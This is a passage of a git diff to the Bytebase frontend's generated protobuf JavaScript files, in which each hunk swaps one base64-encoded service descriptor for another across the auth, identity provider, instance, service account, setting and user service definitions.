- fileDesc("ChV2MS9hdXRoX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxItkCCgxMb2dpblJlcXVlc3QSDQoFZW1haWwYASABKAkSEAoIcGFzc3dvcmQYAiABKAkSCwoDd2ViGAMgASgIEhAKCGlkcF9uYW1lGAQgASgJEjkKC2lkcF9jb250ZXh0GAUgASgLMiQuYnl0ZWJhc2UudjEuSWRlbnRpdHlQcm92aWRlckNvbnRleHQSFQoIb3RwX2NvZGUYBiABKAlIAIgBARIaCg1yZWNvdmVyeV9jb2RlG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kL2dlbmVyYXRlZC1nby92MaICA0JYWKoCC0J5dGViYXNlLlYxygILQnl0ZWJhc2VcVjHiAhdCeXRlYmFzZVxWMVxHUEJNZXRhZGF0YeoCDEJ5dGViYXNlOjpWMWIGcHJvdG8z", [file_google_api_annotations, file_google_protobuf_empty, file_v1_annotation, file_v1_user_service]);
+ fileDesc("ChV2MS9hdXRoX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxItkCCgxMb2dpblJlcXVlc3QSDQoFZW1haWwYASABKAkSEAoIcGFzc3dvcmQYAiABKAkSCwoDd2ViGAMgASgIEhAKCGlkcF9uYW1lGAQgASgJEjkKC2lkcF9jb250ZXh0GAUgASgLMiQuYnl0ZWJhc2UudjEuSWRlbnRpdHlQcm92aWRlckNvbnRleHQSFQoIb3RwX2NvZGUYBiABKAlIAIgBARIaCg1yZWNvdmVyeV9jb2RlGAcgASgJSAGIAQESGwoObWZhX3RlbXBfdG9rZW4YCCABKAlIAogBARIXCgplbWFpbF9jb2RlGAkgASgJSAOIAQESFgoJd29ya3NwYWNlGAogASgJSASIAQFCCwoJX290cF9jb2RlQhAKDl9yZWNvdmVyeV9jb2RlQhEKD19tZmFfdGVtcF90b2tlbkINCgtfZW1haWxfY29kZUIMCgpfd29ya3NwYWNlIqwBChdJZGVudGl0eVByb3ZpZGVyQ29udGV4dBJECg5vYXV0aDJfY29udGV4dBgBIAEoCzIqLmJ5dGViYXNlLnYxLk9BdXRoMklkZW50aXR5UHJvdmlkZXJDb250ZXh0SAASQAoMb2lkY19jb250ZXh0GAIgASgLMiguYnl0ZWJhc2UudjEuT0lEQ0lkZW50aXR5UHJvdmlkZXJDb250ZXh0SABCCQoHY29udGV4dCItCh1PQXV0aDJJZGVudGl0eVByb3ZpZGVyQ29udGV4dBIMCgRjb2RlGAEgASgJIisKG09JRENJZGVudGl0eVByb3ZpZGVyQ29udGV4dBIMCgRjb2RlGAEgASgJIo8BCg1Mb2dpblJlc3BvbnNlEg0KBXRva2VuGAEgASgJ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Oo6jACgtPkkwIiOgEqIh0vdjEvYXV0aDpyZXF1ZXN0UGFzc3dvcmRSZXNldBJ9Cg1SZXNldFBhc3N3b3JkEiEuYnl0ZWJhc2UudjEuUmVzZXRQYXNzd29yZFJlcXVlc3QaFi5nb29nbGUucHJvdG9idWYuRW1wdHkiMYDqMAGY6jABoOowA6jqMAKC0+STAhs6ASoiFi92MS9hdXRoOnJlc2V0UGFzc3dvcmQSjAEKElNlbmRFbWFpbExvZ2luQ29kZRImLmJ5dGViYXNlLnYxLlNlbmRFbWFpbExvZ2luQ29kZVJlcXVlc3QaFi5nb29nbGUucHJvdG9idWYuRW1wdHkiNoDqMAGY6jABoOowA6jqMAKC0+STAiA6ASoiGy92MS9hdXRoOnNlbmRFbWFpbExvZ2luQ29kZUKmAQoPY29tLmJ5dGViYXNlLnYxQhBBdXRoU2VydmljZVByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_google_api_annotations, file_google_protobuf_empty, file_v1_annotation, file_v1_user_service]);
/**
* Describes the message bytebase.v1.LoginRequest.
diff --git a/frontend/src/types/proto-es/v1/idp_service_pb.js b/frontend/src/types/proto-es/v1/idp_service_pb.js
index 2dc11ab70a..7bb20b39ac 100644
--- a/frontend/src/types/proto-es/v1/idp_service_pb.js
+++ b/frontend/src/types/proto-es/v1/idp_service_pb.js
@@ -15,7 +15,7 @@ import { file_v1_annotation } from "./annotation_pb";
* Describes the file v1/idp_service.proto.
*/
export const file_v1_idp_service = /*@__PURE__*/
- fileDesc("ChR2MS9pZHBfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEiRAoaR2V0SWRlbnRpdHlQcm92aWRlclJlcXVlc3QSJgoEbmFt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vdmlkZXJSZXNwb25zZSI9iuowG2JiLmlkZW50aXR5UHJvdmlkZXJzLnVwZGF0ZZDqMAGC0+STAhQ6ASoiDy92MS9pZHBzLyo6dGVzdEKlAQoPY29tLmJ5dGViYXNlLnYxQg9JZHBTZXJ2aWNlUHJvdG9QAVo0Z2l0aHViLmNvbS9ieXRlYmFzZS9ieXRlYmFzZS9iYWNrZW5kL2dlbmVyYXRlZC1nby92MaICA0JYWKoCC0J5dGViYXNlLlYxygILQnl0ZWJhc2VcVjHiAhdCeXRlYmFzZVxWMVxHUEJNZXRhZGF0YeoCDEJ5dGViYXNlOjpWMWIGcHJvdG8z", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_v1_annotation]);
+ fileDesc("ChR2MS9pZHBfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEiRAoaR2V0SWRlbnRpdHlQcm92aWRlclJlcXVlc3QSJgoEbmFtZRgBIAEoCUIY4EEC+kESChBieXRlYmFzZS5jb20vSWRQIksKHExpc3RJZGVudGl0eVByb3ZpZGVyc1JlcXVlc3QSKwoGcGFyZW50GAEgASgJQhv6QRgKFmJ5dGViYXNlLmNvbS9Xb3Jrc3BhY2UiWgodTGlzdElkZW50aXR5UHJvdmlkZXJzUmVzcG9uc2USOQoSaWRlbnRpdHlfcHJvdmlkZXJzGAEgAygLMh0uYnl0ZWJhc2UudjEuSWRlbnRpdHlQcm92aWRlciKTAQodQ3JlYXRlSWRlbnRpdHlQcm92aWRlclJlcXVlc3QSPQoRaWRlbnRpdHlfcHJvdmlkZXIYASABKAsyHS5ieXRlYmFzZS52MS5JZGVudGl0eVByb3ZpZGVyQgPgQQISHAoUaWRlbnRpdHlfcHJvdmlkZXJfaWQYAiABKAkSFQoNdmFsaWRhdGVfb25seRgDIAEoCCKmAQodVXBkYXRlSWRlbnRpdHlQcm92aWRlclJlcXVlc3QSPQoRaWRlbnRpdHlfcHJ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3ZpZGVyIo0B2kEdaWRlbnRpdHlfcHJvdmlkZXIsdXBkYXRlX21hc2uK6jAbYmIuaWRlbnRpdHlQcm92aWRlcnMudXBkYXRlkOowAZjqMAGg6jADqOowBoLT5JMCODoRaWRlbnRpdHlfcHJvdmlkZXIyIy92MS97aWRlbnRpdHlfcHJvdmlkZXIubmFtZT1pZHBzLyp9EqUBChZEZWxldGVJZGVudGl0eVByb3ZpZGVyEiouYnl0ZWJhc2UudjEuRGVsZXRlSWRlbnRpdHlQcm92aWRlclJlcXVlc3QaFi5nb29nbGUucHJvdG9idWYuRW1wdHkiR9pBBG5hbWWK6jAbYmIuaWRlbnRpdHlQcm92aWRlcnMuZGVsZXRlkOowAZjqMAGC0+STAhMqES92MS97bmFtZT1pZHBzLyp9ErIBChRUZXN0SWRlbnRpdHlQcm92aWRlchIoLmJ5dGViYXNlLnYxLlRlc3RJZGVudGl0eVByb3ZpZGVyUmVxdWVzdBopLmJ5dGViYXNlLnYxLlRlc3RJZGVudGl0eVByb3ZpZGVyUmVzcG9uc2UiRYrqMBtiYi5pZGVudGl0eVByb3ZpZGVycy51cGRhdGWQ6jABoOowA6jqMAaC0+STAhQ6ASoiDy92MS9pZHBzLyo6dGVzdEKlAQoPY29tLmJ5dGViYXNlLnYxQg9JZHBTZXJ2aWNlUHJvdG9QAVo0Z2l0aHViLmNvbS9ieXRlYmFzZS9ieXRlYmFzZS9iYWNrZW5kL2dlbmVyYXRlZC1nby92MaICA0JYWKoCC0J5dGViYXNlLlYxygILQnl0ZWJhc2VcVjHiAhdCeXRlYmFzZVxWMVxHUEJNZXRhZGF0YeoCDEJ5dGViYXNlOjpWMWIGcHJvdG8z", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_v1_annotation]);
/**
* Describes the message bytebase.v1.GetIdentityProviderRequest.
diff --git a/frontend/src/types/proto-es/v1/instance_service_pb.js b/frontend/src/types/proto-es/v1/instance_service_pb.js
index e4b3a0a69c..751ca6bcf8 100644
--- a/frontend/src/types/proto-es/v1/instance_service_pb.js
+++ b/frontend/src/types/proto-es/v1/instance_service_pb.js
@@ -17,7 +17,7 @@ import { file_v1_instance_role_service } from "./instance_role_service_pb";
* Describes the file v1/instance_service.proto.
*/
export const file_v1_instance_service = /*@__PURE__*/
- fileDesc("Chl2MS9pbnN0YW5jZV9zZXJ2aWNlLnByb3RvEgtieXRlYmFzZS52MSJBChJHZXRJbnN0YW5jZVJlcXVlc3QSKwoEbmFtZRgBIAEoCUId4EEC+kEXChVieXRlYmFzZS5jb20vSW5zdGFuY2UisQEKFExpc3RJbnN0YW5jZXNSZXF1ZXN0Ei8KBnBhcmVudBgGIAEoCUIa+kEXEhVieXRlYmFzZS5jb20vSW5zdGFuY2VIAIgBARIRCglwYWdlX3NpemUYASABKAUSEgoKcGFnZV90b2tlbhgCIAEoCRIUCgxzaG93X2RlbGV0ZWQYAyABKAgSDgoGZmlsdGVyGAQgASgJEhAKCG9yZGVyX2J5GAUgASgJQgkKB19wYXJlbnQiWgoVTGlzdEluc3RhbmNlc1Jlc3BvbnNlEigKCWluc3RhbmNlcxgBIAMoCzIVLmJ5dGViYXNlLnYxLkluc3RhbmNlEhcKD25leHRfcGFnZV90b2tlbhgCIAEoCSLNAQoVQ3JlYXRlSW5zdGFuY2VSZXF1ZXN0Ei8KBnBhcmVudBgFIAEoCUIa+kEXEhVieXRlYmFzZS5jb20vSW5zdGFuY2VIAIgBARIsCghpbnN0YW5jZRgBIAEoCzIVLmJ5dGViYXNlLnYxLkluc3RhbmNlQgPgQQISEwoLaW5zdGFuY2VfaWQYAiABKAkSFQoNdmFsaWRhdGVfb25seRgDIAEoCEIJCgdfcGFyZW50SgQIBBAFUhhpbml0aWFsX2RhdGFiYXNlX3Byb2plY3QijQEKFVVwZGF0ZUluc3RhbmNlUmVxdWVzdBIsCghpbnN0YW5jZRgBIAEoCzIVLmJ5dGViYXNlLnYxLkluc3Rhbm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JjZVpBOgtkYXRhX3NvdXJjZTIyL3YxL3tuYW1lPXByb2plY3RzLyovaW5zdGFuY2VzLyp9OnVwZGF0ZURhdGFTb3VyY2UyJy92MS97bmFtZT1pbnN0YW5jZXMvKn06dXBkYXRlRGF0YVNvdXJjZUKqAQoPY29tLmJ5dGViYXNlLnYxQhRJbnN0YW5jZVNlcnZpY2VQcm90b1ABWjRnaXRodWIuY29tL2J5dGViYXNlL2J5dGViYXNlL2JhY2tlbmQvZ2VuZXJhdGVkLWdvL3YxogIDQlhYqgILQnl0ZWJhc2UuVjHKAgtCeXRlYmFzZVxWMeICF0J5dGViYXNlXFYxXEdQQk1ldGFkYXRh6gIMQnl0ZWJhc2U6OlYxYgZwcm90bzM", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_duration, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common, file_v1_instance_role_service]);
+ fileDesc("Chl2MS9pbnN0YW5jZV9zZXJ2aWNlLnByb3RvEgtieXRlYmFzZS52MSJBChJHZXRJbnN0YW5jZVJlcXVlc3QSKwoEbmFtZRgBIAEoCUId4EEC+kEXChVieXRlYmFzZS5jb20vSW5zdGFuY2UisQEKFExpc3RJbnN0YW5jZXNSZXF1ZXN0Ei8KBnBhcmVudBgGIAEoCUIa+kEXEhVieXRlYmFzZS5jb20vSW5zdGFuY2VIAIgBARIRCglwYWdlX3NpemUYASABKAUSEgoKcGFnZV90b2tlbhgCIAEoCRIUCgxzaG93X2RlbGV0ZWQYAyABKAgSDgoGZmlsdGVyGAQgASgJEhAKCG9yZGVyX2J5GAUgASgJQgkKB19wYXJlbnQiWgoVTGlzdEluc3RhbmNlc1Jlc3BvbnNlEigKCWluc3RhbmNlcxgBIAMoCzIVLmJ5dGViYXNlLnYxLkluc3RhbmNlEhcKD25leHRfcGFnZV90b2tlbhgCIAEoCSLNAQoVQ3JlYXRlSW5zdGFuY2VS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jc6ASoiMi92MS97bmFtZT1wcm9qZWN0cy8qL2luc3RhbmNlcy8qfTpyZW1vdmVEYXRhU291cmNlIicvdjEve25hbWU9aW5zdGFuY2VzLyp9OnJlbW92ZURhdGFTb3VyY2USkgIKEFVwZGF0ZURhdGFTb3VyY2USJC5ieXRlYmFzZS52MS5VcGRhdGVEYXRhU291cmNlUmVxdWVzdBoVLmJ5dGViYXNlLnYxLkluc3RhbmNlIsAB2kEXZGF0YV9zb3VyY2UsdXBkYXRlX21hc2uK6jATYmIuaW5zdGFuY2VzLnVwZGF0ZZDqMAGY6jABoOowA6jqMAaC0+STAnk6C2RhdGFfc291cmNlWkE6C2RhdGFfc291cmNlMjIvdjEve25hbWU9cHJvamVjdHMvKi9pbnN0YW5jZXMvKn06dXBkYXRlRGF0YVNvdXJjZTInL3YxL3tuYW1lPWluc3RhbmNlcy8qfTp1cGRhdGVEYXRhU291cmNlQqoBCg9jb20uYnl0ZWJhc2UudjFCFEluc3RhbmNlU2VydmljZVByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_duration, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common, file_v1_instance_role_service]);
/**
* Describes the message bytebase.v1.GetInstanceRequest.
diff --git a/frontend/src/types/proto-es/v1/service_account_service_pb.js b/frontend/src/types/proto-es/v1/service_account_service_pb.js
index 0295c5d5f1..e711306b7d 100644
--- a/frontend/src/types/proto-es/v1/service_account_service_pb.js
+++ b/frontend/src/types/proto-es/v1/service_account_service_pb.js
@@ -16,7 +16,7 @@ import { file_v1_common } from "./common_pb";
* Describes the file v1/service_account_service.proto.
*/
export const file_v1_service_account_service = /*@__PURE__*/
- fileDesc("CiB2MS9zZXJ2aWNlX2FjY291bnRfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEi/gEKDlNlcnZpY2VBY2NvdW50EhEKBG5hbWUYASABKAlCA+BBAxIhCgVzdGF0ZRgCIAEoDjISLmJ5dGViYXNlLnYxLlN0YXRlEhIKBWVtYWlsGAMgASgJQgPgQQMSFwoFdGl0bGUYBCABKAlCCLpIBXIDGMgBEhgKC3NlcnZpY2Vfa2V5GAUgASgJQgPgQQMSNAoLY3JlYXRlX3RpbWUYBiABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW1wQgPgQQM6OepBNgobYnl0ZWJhc2UuY29tL1NlcnZpY2VBY2NvdW50EhdzZXJ2aWNlQWNjb3VudHMve2VtYWlsfSKkAQobQ3JlYXRlU2VydmljZUFjY291bnRSZXF1ZXN0EikKBnBhcmVudBgBIAEoCUIZ+kEWChRieXRlYmFzZS5jb20vUHJvamVjdBIfChJzZXJ2aWNlX2FjY291bnRfaWQYAiABKAlCA+BBAhI5Cg9zZXJ2aWNlX2FjY291bnQYAyABKAsyGy5ieXRlYmFzZS52MS5TZXJ2aWNlQWNjb3VudEID4EECIk0KGEdldFNlcnZpY2VBY2NvdW50UmVxdWVzdBIxCgRuYW1lGAEgASgJQiPgQQL6QR0KG2J5dGViYXNlLmNvbS9TZXJ2aWNlQWNjb3VudCKUAQoaTGlzdFNlcnZpY2VBY2NvdW50c1JlcXVlc3QSKQoGcGFyZW50GAEgASgJQhn6QRYKFGJ5dGViYXNlLmNvbS9Qcm9qZWN0EhEKCXBhZ2Vfc2l6ZRgCIAEoBRISCgpwYWdlX3Rva2VuGAMgASgJEhQKDHNob3dfZGVsZXRlZBgEIAEoCBIOCgZmaWx0ZXIYBSABKAkibQobTGlzdFNlcnZpY2VBY2NvdW50c1Jlc3BvbnNlEjUKEHNlcnZpY2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JiLnNlcnZpY2VBY2NvdW50cy51bmRlbGV0ZZDqMAGY6jABgtPkkwIqOgEqIiUvdjEve25hbWU9c2VydmljZUFjY291bnRzLyp9OnVuZGVsZXRlQrABCg9jb20uYnl0ZWJhc2UudjFCGlNlcnZpY2VBY2NvdW50U2VydmljZVByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
+ fileDesc("CiB2MS9zZXJ2aWNlX2FjY291bnRfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEi/gEKDlNlcnZpY2VBY2NvdW50EhEKBG5hbWUYASABKAlCA+BBAxIhCgVzdGF0ZRgCIAEoDjISLmJ5dGViYXNlLnYxLlN0YXRlEhIKBWVtYWlsGAMgASgJQgPgQQMSFwoFdGl0bGUYBCABKAlCCLpIBXIDGMgBEhgKC3NlcnZpY2Vfa2V5GAUgASgJQgPgQQMSNAoLY3JlYXRlX3RpbWUYBiABKAsyGi5nb29nbGUucHJvdG9idWYuVGltZXN0YW1wQgPgQQM6OepBNgobYnl0ZWJhc2UuY29tL1NlcnZpY2VBY2NvdW50EhdzZXJ2aWNlQWNjb3VudHMve2VtYWlsfSKkAQobQ3JlYXRlU2VydmljZUFjY291bnRSZXF1ZXN0EikKBnBhcmVudBgBIAEoCUIZ+kEWChRieXRlYmFzZS5jb20vUHJvamVjdBIfChJzZXJ2aWNlX2FjY291bnRfaWQYAiABKAlCA+BBAhI5Cg9zZXJ2aWNlX2FjY291bnQYAyABKAsyGy5ieX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lX2FjY291bnQubmFtZT1zZXJ2aWNlQWNjb3VudHMvKn0SqgEKFERlbGV0ZVNlcnZpY2VBY2NvdW50EiguYnl0ZWJhc2UudjEuRGVsZXRlU2VydmljZUFjY291bnRSZXF1ZXN0GhYuZ29vZ2xlLnByb3RvYnVmLkVtcHR5IlDaQQRuYW1liuowGWJiLnNlcnZpY2VBY2NvdW50cy5kZWxldGWQ6jABmOowAYLT5JMCHiocL3YxL3tuYW1lPXNlcnZpY2VBY2NvdW50cy8qfRK6AQoWVW5kZWxldGVTZXJ2aWNlQWNjb3VudBIqLmJ5dGViYXNlLnYxLlVuZGVsZXRlU2VydmljZUFjY291bnRSZXF1ZXN0GhsuYnl0ZWJhc2UudjEuU2VydmljZUFjY291bnQiV4rqMBtiYi5zZXJ2aWNlQWNjb3VudHMudW5kZWxldGWQ6jABmOowAYLT5JMCKjoBKiIlL3YxL3tuYW1lPXNlcnZpY2VBY2NvdW50cy8qfTp1bmRlbGV0ZUKwAQoPY29tLmJ5dGViYXNlLnYxQhpTZXJ2aWNlQWNjb3VudFNlcnZpY2VQcm90b1ABWjRnaXRodWIuY29tL2J5dGViYXNlL2J5dGViYXNlL2JhY2tlbmQvZ2VuZXJhdGVkLWdvL3YxogIDQlhYqgILQnl0ZWJhc2UuVjHKAgtCeXRlYmFzZVxWMeICF0J5dGViYXNlXFYxXEdQQk1ldGFkYXRh6gIMQnl0ZWJhc2U6OlYxYgZwcm90bzM", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
/**
* Describes the message bytebase.v1.ServiceAccount.
diff --git a/frontend/src/types/proto-es/v1/setting_service_pb.js b/frontend/src/types/proto-es/v1/setting_service_pb.js
index eb48928636..32a4faf52b 100644
--- a/frontend/src/types/proto-es/v1/setting_service_pb.js
+++ b/frontend/src/types/proto-es/v1/setting_service_pb.js
@@ -18,7 +18,7 @@ import { file_v1_issue_service } from "./issue_service_pb";
* Describes the file v1/setting_service.proto.
*/
export const file_v1_setting_service = /*@__PURE__*/
- fileDesc("Chh2MS9zZXR0aW5nX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxIhUKE0xpc3RTZXR0aW5nc1JlcXVlc3QiPgoUTGlzdFNldHRpbmdzUmVzcG9uc2USJgoIc2V0dGluZ3MYASADKAsyFC5ieXRlYmFzZS52MS5TZXR0aW5nIj8KEUdldFNldHRpbmdSZXF1ZXN0EioKBG5hbWUYASABKAlCHOBBAvpBFgoUYnl0ZWJhc2UuY29tL1NldHRpbmciOwoSR2V0U2V0dGluZ1Jlc3BvbnNlEiUKB3NldHRpbmcYASABKAsyFC5ieXRlYmFzZS52MS5TZXR0aW5nIqEBChRVcGRhdGVTZXR0aW5nUmVxdWVzdBIqCgdzZXR0aW5nGAEgASgLMhQuYnl0ZWJhc2UudjEuU2V0dGluZ0ID4EECEhUKDXZhbGlkYXRlX29ubHkYAiABKAgSFQoNYWxsb3dfbWlzc2luZxgDIAEoCBIvCgt1cGRhdGVfbWFzaxgEIAEoCzIaLmdvb2dsZS5wcm90b2J1Zi5GaWVsZE1hc2sitAIKB1NldHRpbmcSEQoEbmFtZRgBIAEoCUID4EEIEi0KBXZhbHVlGAIgASgLMhkuYnl0ZWJhc2UudjEuU2V0dGluZ1ZhbHVlQgPgQQIitwEKC1NldHRpbmdOYW1lEhwKGFNFVFRJTkdfTkFNRV9VTlNQRUNJRklFRBAAEhUKEVdPUktTUEFDRV9QUk9GSUxFEAESFgoSV09SS1NQQUNFX0FQUFJPVkFMEAISCgoGQVBQX0lNEAMSBgoCQUkQBBIXChNEQVRBX0NMQVNTSUZJQ0FUSU9OEAUSEgoOU0VNQU5USUNfVFlQRVMQBhIPCgtFTlZJUk9OTUVOVBAHEgkKBUVNQUlMEAg6LepBKgoUYnl0ZWJhc2UuY29tL1NldHRpbmcSEnNldHRpbmdzL3tzZXR0aW5nfSLYAwoMU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kLWdvL3YxogIDQlhYqgILQnl0ZWJhc2UuVjHKAgtCeXRlYmFzZVxWMeICF0J5dGViYXNlXFYxXEdQQk1ldGFkYXRh6gIMQnl0ZWJhc2U6OlYxYgZwcm90bzM", [file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_duration, file_google_protobuf_field_mask, file_google_type_color, file_google_type_expr, file_v1_annotation, file_v1_common, file_v1_issue_service]);
+ fileDesc("Chh2MS9zZXR0aW5nX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxIhUKE0xpc3RTZXR0aW5nc1JlcXVlc3QiPgoUTGlzdFNldHRpbmdzUmVzcG9uc2USJgoIc2V0dGluZ3MYASADKAsyFC5ieXRlYmFzZS52MS5TZXR0aW5nIj8KEUdldFNldHRpbmdSZXF1ZXN0EioKBG5hbWUYASABKAlCHOBBAvpBFgoUYnl0ZWJhc2UuY29tL1NldHRpbmciOwoSR2V0U2V0dGluZ1Jlc3BvbnNlEiUKB3NldHRpbmcYASABKAsyFC5ieXRlYmFzZS52MS5TZXR0aW5nIqEBChRVcGRhdGVTZXR0aW5nUmVxdWVzdBIqCgdzZXR0aW5nGAEgASgLMhQuYnl0ZWJhc2UudjEuU2V0dGluZ0ID4EECEhUKDXZhbGlkYXRlX29ubHkYAiABKAgSFQoNYWxsb3dfbWlzc2luZxgDIAEoCBIvCgt1cGRhdGVfbWFzaxgEIAEoCzIaLmdvb2dsZS5wcm90b2J1Zi5GaWVsZE1hc2sitAIKB1NldHRpbmcSEQoEbmFtZRgBIAEoCUID4EEIEi0KBXZhbHVlGAIgASgLMhkuYnl0ZWJhc2UudjEuU2V0dGluZ1ZhbHVlQgPgQQIitwEKC1NldHRpbmdOYW1lEhwKGFNFVFRJTkdfTkFNRV9VTlNQRUNJRklFRBAAEhUKEVdPUktTUEFDRV9QUk9GSUxFEAESFgoSV09SS1NQQUNFX0FQUFJPVkFMEAISCgoGQVBQX0lNEAMSBgoCQUkQBBIXChNEQVRB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ItL3YxL3twYXJlbnQ9d29ya3NwYWNlcy8qfS9zZXR0aW5ncy9FTUFJTDp0ZXN0QqkBCg9jb20uYnl0ZWJhc2UudjFCE1NldHRpbmdTZXJ2aWNlUHJvdG9QAVo0Z2l0aHViLmNvbS9ieXRlYmFzZS9ieXRlYmFzZS9iYWNrZW5kL2dlbmVyYXRlZC1nby92MaICA0JYWKoCC0J5dGViYXNlLlYxygILQnl0ZWJhc2VcVjHiAhdCeXRlYmFzZVxWMVxHUEJNZXRhZGF0YeoCDEJ5dGViYXNlOjpWMWIGcHJvdG8z", [file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_duration, file_google_protobuf_field_mask, file_google_type_color, file_google_type_expr, file_v1_annotation, file_v1_common, file_v1_issue_service]);
/**
* Describes the message bytebase.v1.ListSettingsRequest.
diff --git a/frontend/src/types/proto-es/v1/user_service_pb.js b/frontend/src/types/proto-es/v1/user_service_pb.js
index c40d41fcbe..8412f8152d 100644
--- a/frontend/src/types/proto-es/v1/user_service_pb.js
+++ b/frontend/src/types/proto-es/v1/user_service_pb.js
@@ -16,7 +16,7 @@ import { file_v1_common } from "./common_pb";
* Describes the file v1/user_service.proto.
*/
export const file_v1_user_service = /*@__PURE__*/
- fileDesc("ChV2MS91c2VyX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxIjkKDkdldFVzZXJSZXF1ZXN0EicKBG5hbWUYASABKAlCGeBBAvpBEwoRYnl0ZWJhc2UuY29tL1VzZXIiQAoUQmF0Y2hHZXRVc2Vyc1JlcXVlc3QSKAoFbmFtZXMYASADKAlCGeBBAvpBEwoRYnl0ZWJhc2UuY29tL1VzZXIiOQoVQmF0Y2hHZXRVc2Vyc1Jlc3BvbnNlEiAKBXVzZXJzGAEgAygLMhEuYnl0ZWJhc2UudjEuVXNlciJfChBMaXN0VXNlcnNSZXF1ZXN0EhEKCXBhZ2Vfc2l6ZRgBIAEoBRISCgpwYWdlX3Rva2VuGAIgASgJEh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ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
+ fileDesc("ChV2MS91c2VyX3NlcnZpY2UucHJvdG8SC2J5dGViYXNlLnYxIjkKDkdldFVzZXJSZXF1ZXN0EicKBG5hbWUYASABKAlCGeBBAvpBEwoRYnl0ZWJhc2UuY29tL1VzZXIiQAoUQmF0Y2hHZXRVc2Vyc1JlcXVlc3QSKAoFbmFtZXMYASADKAlCGeBBAvpBEwoRYnl0ZWJhc2UuY29tL1VzZXIiOQoVQmF0Y2hHZXRVc2Vyc1Jlc3BvbnNlEiAKBXVzZXJzGAEgAygLMhEuYnl0ZWJhc2UudjEuVXNlciJfChBMaXN0VXNlcnNSZXF1ZXN0EhEKCXBhZ2Vfc2l6ZRgBIAEoBRISCgpwYWdlX3Rva2VuGAIgASgJEhQKDHNob3dfZGVsZXRlZBgDIAEoCBIOCgZmaWx0ZXIYBCABKAkiTgoRTGlzdFVzZXJzUmVzcG9uc2USIAoFdXNlcnMYASADKAsyES5ieXRlYmFzZS52MS5Vc2VyEhcKD25leHRfcGFnZV90b2tlbhgCIAEoCSI5ChFDcmVhdGVVc2VyUmVxdWVzdBIkCgR1c2VyGAEgASgLMhEuYnl0ZWJhc2UudjEuVXNlckID4EECIuwBChFVcGRhdGVVc2VyUmVxdWVzdBIkCgR1c2VyGAEgASgLMhEuYnl0ZWJhc2UudjEuVXNlckID4EECEi8KC3VwZGF0ZV9tYXNrGAIgASgLMhouZ29vZ2xlLnByb3RvYnVmLkZpZWxkTWFzaxIVCghvdHBfY29k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jEuVXNlciJI2kEQdXNlcix1cGRhdGVfbWFza5DqMAKY6jABoOowA6jqMAOC0+STAh86BHVzZXIyFy92MS97dXNlci5uYW1lPXVzZXJzLyp9Em8KCkRlbGV0ZVVzZXISHi5ieXRlYmFzZS52MS5EZWxldGVVc2VyUmVxdWVzdBoWLmdvb2dsZS5wcm90b2J1Zi5FbXB0eSIp2kEEbmFtZZDqMAKY6jABgtPkkwIUKhIvdjEve25hbWU9dXNlcnMvKn0ScwoMVW5kZWxldGVVc2VyEiAuYnl0ZWJhc2UudjEuVW5kZWxldGVVc2VyUmVxdWVzdBoRLmJ5dGViYXNlLnYxLlVzZXIiLpDqMAKY6jABgtPkkwIgOgEqIhsvdjEve25h